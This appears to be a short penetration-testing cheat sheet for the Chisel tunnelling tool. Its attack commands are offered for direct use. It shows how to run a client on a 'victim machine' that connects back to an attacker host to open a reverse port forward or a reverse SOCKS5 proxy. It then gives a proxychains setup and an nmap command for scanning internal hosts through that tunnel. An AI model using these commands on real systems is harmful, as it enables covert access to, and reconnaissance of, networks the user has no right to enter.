Chisel

Download chisel here: https://github.com/jpillora/chisel

Start a client on the victim machine

./chisel client <attacker ip> <chisel server port> R:443:127.0.0.1:443 

Start a server on the attacker machine

./chisel server -p <chisel server port> --reverse

SOCKS proxy with Chisel on Windows hosts

Start a server on the attacker machine

chisel server --port <chisel server port> --socks5 --reverse

Start a client on the victim machine

chisel.exe client --max-retry-count 1 <attacker ip>:<chisel server port> R:socks

Add the following line to /etc/proxychains.conf

# chisel
# 1080 is the default port of the chisel reverse proxy
socks5 127.0.0.1 1080

Run commands through Chisel from attacker machine

# Be selective in ports because it takes a while
proxychains -q nmap -sT -Pn -p <ports> <internal ip to be scanned>